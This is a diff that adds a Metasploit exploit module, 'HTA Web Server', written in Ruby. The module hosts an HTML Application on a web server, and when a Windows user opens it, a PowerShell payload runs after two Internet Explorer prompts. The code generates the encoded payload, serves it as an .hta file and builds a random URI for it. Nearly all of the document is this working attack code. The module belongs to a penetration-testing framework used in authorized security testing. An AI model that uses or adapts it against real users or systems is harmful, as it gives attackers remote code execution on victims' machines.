|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ManualRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpServer |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'HTA Web Server', |
| 14 | + 'Description' => %q( |
| 15 | + This module hosts an HTML Application (HTA) that when opened will run a |
| 16 | + payload via Powershell. When a user navigates to the HTA file they will |
| 17 | + be prompted by IE twice before the payload is executed. |
| 18 | + ), |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'Author' => 'Spencer McIntyre', |
| 21 | + 'References' => |
| 22 | + [ |
| 23 | + ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/'] |
| 24 | + ], |
| 25 | + # space is restricted by the powershell command limit |
| 26 | + 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, |
| 27 | + 'Platform' => %w(win), |
| 28 | + 'Targets' => |
| 29 | + [ |
| 30 | + [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], |
| 31 | + [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ] |
| 32 | + ], |
| 33 | + 'DefaultTarget' => 0, |
| 34 | + 'DisclosureDate' => 'Oct 06 2016' |
| 35 | + )) |
| 36 | + end |
| 37 | + |
| 38 | + def on_request_uri(cli, _request) |
| 39 | + print_status('Delivering Payload') |
| 40 | + p = regenerate_payload(cli) |
| 41 | + data = Msf::Util::EXE.to_executable_fmt( |
| 42 | + framework, |
| 43 | + target.arch, |
| 44 | + target.platform, |
| 45 | + p.encoded, |
| 46 | + 'hta-psh', |
| 47 | + { :arch => target.arch, :platform => target.platform } |
| 48 | + ) |
| 49 | + send_response(cli, data, 'Content-Type' => 'application/hta') |
| 50 | + end |
| 51 | + |
| 52 | + def random_uri |
| 53 | + # uri needs to end in .hta for IE to process the file correctly |
| 54 | + '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta' |
| 55 | + end |
| 56 | +end |
0 commit comments